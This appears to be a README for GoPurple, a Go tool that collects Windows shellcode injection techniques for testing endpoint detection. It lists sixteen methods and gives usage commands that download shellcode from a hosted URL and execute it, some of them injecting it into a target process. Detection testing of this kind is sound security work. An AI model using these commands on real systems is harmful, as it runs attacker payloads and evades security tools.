GoPurple is a simple collection of various shell code injection techniques, aiming to streamline the process of endpoint detection evaluation, beside challenging myself to get into Golang world.

-t string
shellcode injection technique to use:
1: CreateFiber
2: syscall
3: CreateThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWait
13: BananaPhone
14: EnumerateLoadedModules
15: EnumChildWindows
16: EnumPageFilesW
-u string
URL hosting the shellcode
Examples
A shellcode needs to be generated,this can be done using tools such as msfvenom or shad0w. Then the shellcode needs to be hosted to be remotely downloaded and executed on the remote machine. For the sake of clarity, the below demos illustrate different ways of using the tool.
How To Use
1 – gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)
2 – gopurple.exe -u urlhostingpayload -t 2 (Syscall)
3 – gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)
4 – gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)
5 – gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)
6 – gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)
7 – gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)
8 – gopurple.exe -u urlhostingpayload -t 8 (CreateThread)
9 – gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)
10 – gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (ex:C:\Windows\System32\WindowsPowerShell\v1.0) and processargument(ex:Get-Process) (CreateProcessWithPipe)
11 – gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore) (QueueUserAPC)
nonms = only DLLs that are signed by Microsoft can hook into the process
onlystore = only Microsoft store application’s process can hook into the process
12 – gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)
13 – gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)
14- gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)
15- gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)
16- gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)
